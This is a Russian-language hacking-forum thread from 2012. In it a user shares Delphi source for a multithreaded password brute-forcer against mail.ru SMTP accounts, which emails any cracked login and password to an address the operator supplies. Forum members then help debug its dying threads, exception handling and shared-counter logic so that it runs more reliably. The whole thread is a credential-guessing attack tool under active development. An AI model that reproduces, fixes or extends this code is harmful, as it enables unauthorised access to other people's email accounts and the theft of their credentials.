Умирание потоков [delphi]

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Tip.the.besT, 3 Mar 2012.

  1. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Заклепал небольшой код для перебора паролей к маилу. Возник следующий, для меня нерешаемый вопрос. Со временем умираю потоки, я так понимаю это происходит при отправке сообщения с неправильными данными. Подумывал отследить кол-во потоков, но не могу сообразить как. Из - за того, что ошибки при неправильной отправке, я не могу узнать умер ли поток. Предложите какие либо идеи по этому поводу.

    p.s. Много лишнего в коде и неработающего - это от того, что я экспериментировал, будьте так любезны не пинайте.
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
      IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase,
      IdSMTP, StdCtrls, ComCtrls, SyncObjs;
    
    type
      Tmain = class(TForm)
        Button1: TButton;
        Memo1: TMemo;
        Progress: TProgressBar;
        Edit: TEdit;
        GroupBox1: TGroupBox;
        login: TEdit;
        GroupBox2: TGroupBox;
        GroupBox3: TGroupBox;
        GroupBox4: TGroupBox;
        mail: TEdit;
        Label1: TLabel;
        Lab: TLabel;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
      potok = class(TThread)
      private
       FAcc : string;
       FPas : string;
       Rez : Integer;
      protected
        procedure Execute; override;
      public
        procedure Sync;
        procedure newpot;
        procedure killpot;
        constructor Create(CreateSuspended: Boolean);
      end;
    
    var
      main: Tmain;
       CS:TcriticalSection;
       i,ik,thread:integer;
       work:boolean;
       logins, mails:string;
       potoki:integer;
    
    implementation
    
    {$R *.dfm}
    constructor potok.Create(CreateSuspended: Boolean);
    begin
      inherited Create(CreateSuspended);
    end;
    
    
    procedure Tmain.Button1Click(Sender: TObject);
    begin
      i:=-1;
    main.progress.Max:=main.memo1.Lines.Count;
    ik:=main.memo1.Lines.Count;
    work:=true;
    progress.Visible:=true;
    for Thread:=1  to strtoint(Edit.Text)  do
      potok.Create(false);
      progress.Style:=pbstnormal;
      logins:=login.Text;
      mails:=mail.Text;
    
    
    
    end;
    
    
    
    procedure potok.Execute;
    var
    il:integer;
    passl, logl, maill:string;
    smtp:tidsmtp;
    IdMessage1:tIdMessage;
    workl:boolean;
    begin
    synchronize(newpot);
    IdMessage1:=tIdMessage.Create;
    smtp:=tidsmtp.Create;
    cs.Enter;
    workl:=work;
    logl:=logins;
    maill:=mails;
    cs.Leave;
    
    while work=true do
    begin
    try
    cs.Enter;
    inc(i);
    il:=i;
    passl:=main.memo1.lines[il];
    if i>ik then
    work:=false;
    cs.Leave;
    
    SMTP.Host:='smtp.mail.ru';
     SMTP.Port:=25;
     SMTP.Username:=logl;
     SMTP.Password:=passl;
     IdMessage1.Body.Text:=logl+':'+passl;
     IdMessage1.From.Text:='[email protected]';
     IdMessage1.Subject:='Пароль подобран!';
      IdMessage1.Recipients.EMailAddresses:=maill;
     try
      SMTP.Connect();
      if  SMTP.Connected=true then
           SMTP.Send(IdMessage1);
    except
        on E : Exception do
      end;
         smtp.Disconnect;
    synchronize(sync);
    
    except
    synchronize(killpot);
    end;
    end;
    end;
    
    
    
    procedure potok.Sync;
    begin
    main.Lab.Caption:=inttostr(potoki);
    main.progress.Position:=main.progress.Position+1;
    end;
    
    procedure potok.newpot;
    begin
      inc(potoki);
    end;
    
    procedure potok.killpot;
    begin
      dec(potoki);
    end;
    
    
    
    procedure Tmain.FormCreate(Sender: TObject);
    begin
     CS:=TcriticalSection.create;
    
     work:=false;
     end;
    
    end.
    
     
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Что написано в ошибке?

    p.s.:
    Project -> Build Configurations... -> Debug Build
     
  3. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Не такого, делфи 2010.

    А по сути какая разница какая ошибка, как отследить кол-во потоков, для их своевременного восстановления?
     
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Надо устранять ошибки, а не их последствия. Вот и вся разница.
     
  5. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Ну судя по коду ошибка возможна только при отправке сообщения, но я её перехватываю и по идее всё должно работать правильно. Но мрут потоки. Ни как не укладывается в голове, по какой причине это происходит.

    Дебаг упоминает только ошибку аунтификации.
     
    #5 Tip.the.besT, 3 Mar 2012
    Last edited: 3 Mar 2012
  6. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    Tip.the.besT, крит секции в TThread?
    А Synhronize зачем?)
    Или он не канает?


    Обработка исключения не правильная, и вроде инди генерирует не Exception а какойто потомок от него, хотя хз имеет ли значение, отлавливать когда треад откл можно по OnTerminate событию, при исключении можно писать в лог (мемо) исключение.
     
  7. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Ну по поводу отлавливания, вроде всё правильно, раз ошибки не выскакивают. Ну и потоки то не сразу умирают, примерно наверно 1-3к перебирает и 1-2 потока где то дохнут, ну точно сказать сложно, учитывая, что их не как не отследить, так как по логике программы подразумевается ошибки.

    А что такого в крит секция?
    Синхронайз, что бы с графическими объектами работать из потока.
     
  8. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    Ну разве они не вместо них, сча почитаю если это так то я много набокопорил)
    Ну по OnTerminate отлавливай, и пиши последний хэкспшен, и там метод какойто был чтоб узнать фатальное исключение.
     
  9. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Ну я читал, видео смотрел, сорцы видел, во многих и то и то использовалось.

    Приведи пример по отлову потоков с помощью OnTerminate пожалуйста.
     
  10. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    Ну виртуалкук запускать впадлу, поэтому обьясню так.
    Создаеш процедуру член класса формы, присваиваеш ее перед стартом потока OnTerminate := DedThr;
    Там уже делаеш что надо, както так.\








    Зачем конструктор переопределять если он нечего не делает?)


     
  11. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
     
  12. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    Нет , при лбом завершении потока.
    Зачем тут on do если ты исключение не читаеш изза чего ошибка и т д, в таких случаях просто тру except
     
  13. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Это, что бы ошибка не выскакивала, что авторизация не удалась.
     
  14. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Что - то ругается на эту строку - potok.onTerminate := DeadThr;
     
  15. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    А как ругаеться?

    [/QUOTE]Это, что бы ошибка не выскакивала, что авторизация не удалась.
     
  16. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Это, что бы ошибка не выскакивала, что авторизация не удалась.
    хорошо попробую.

    [DCC Error] Unit1.pas(102): E2233 Property 'OnTerminate' inaccessible here
     
  17. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Оказывается надо было так: onTerminate := DeadThr;
     
  18. BigSnake

    BigSnake New Member

    Joined:
    20 Apr 2010
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    PHP:
    cs.Enter;
    inc(i);
    il:=i;
    passl:=main.memo1.lines[il];
    if 
    i>ik then
    work
    :=false;
    cs.Leave;
    я бы присмотрелся внимательно к этому коду
    1. это все таки обращение к memo из потока( лучше перед запуском запихни свои строки из мемо в TStringList и уже работай с ним
    2. у тебя будет выход за границу стринглиста при
    i=ik тут passl:=main.memo1.lines[il]; ругнется Out of bound
    и вылет с потока причем критическая секция не освободится
    пиши
    cs.enter;
    try
    ...
    finally
    cs.Leave;
    end;
     
  19. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    PHP:
    cs.Enter;
    inc(i);
    il:=i;
    passl:=main.memo1.lines[il];
    if 
    i>ik then
    work
    :=false;
    cs.Leave;
    1) Зачем крит.секция?
    2) Зачем переменная il?

    PHP:
    InterlockedIncrement(i);
    if 
    ik then
        passl 
    := anyStringList.Strings[i];
    else
        
    work := false;
     
  20. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    1.Обращение к мемо, но я читаю, а не пишу + в крит секциях.
    2. Если я выду за границы мемо, ничего страшного не произойдёт просто переменная останется пустой.